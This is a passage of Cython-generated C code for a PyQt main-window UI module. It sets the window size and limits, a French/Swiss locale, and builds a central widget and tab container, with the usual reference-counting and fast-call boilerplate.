__Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":16 * MainWindow.resize(800, 600) * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) # <<<<<<<<<<<<<< * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) * self.centralwidget = QtWidgets.QWidget(MainWindow) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setMaximumSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":17 * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) # <<<<<<<<<<<<<< * self.centralwidget = QtWidgets.QWidget(MainWindow) * self.centralwidget.setObjectName("centralwidget") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setLocale); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QLocale); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QLocale); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_French); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLocale); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Switzerland); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_5, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_5, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_6); __pyx_t_5 = 0; __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":18 * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) * self.centralwidget = QtWidgets.QWidget(MainWindow) # <<<<<<<<<<<<<< * self.centralwidget.setObjectName("centralwidget") * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_MainWindow); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_MainWindow}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_MainWindow}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_MainWindow); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_centralwidget, __pyx_t_1) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":19 * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) * self.centralwidget = QtWidgets.QWidget(MainWindow) * self.centralwidget.setObjectName("centralwidget") # <<<<<<<<<<<<<< * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_centralwidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":20 * self.centralwidget = QtWidgets.QWidget(MainWindow) * self.centralwidget.setObjectName("centralwidget") * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) # <<<<<<<<<<<<<< * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QTabWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_centralwidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container, __pyx_t_1) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":21 * self.centralwidget.setObjectName("centralwidget") * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) # <<<<<<<<<<<<<< * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QRect); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":22 * self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) * self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) * self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) # <<<<<<<<<<<<<< * self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) * self.Tab_Container.setToolTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if 